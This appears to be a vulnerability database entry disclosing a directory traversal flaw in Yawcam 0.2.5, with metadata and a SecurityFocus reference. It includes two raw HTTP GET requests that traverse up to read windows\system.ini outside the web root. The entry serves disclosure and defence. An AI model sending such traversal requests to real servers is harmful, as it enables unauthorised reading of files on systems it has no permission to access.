yawcam 0.2.5 - Directory Traversal

Author: Donato Ferrante
type: remote
platform: windows
port: 
date_added: 2005-04-21
date_updated: 2013-05-16
verified: 1
codes: 
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/13295/info

Yawcam is prone to a directory traversal vulnerability that could allow attackers to read files outside the Web root.

GET ..\..\..\..\..\..\..\..\windows\system.ini HTTP/1.0

GET \..\..\..\..\..\..\..\..\windows\system.ini HTTP/1.0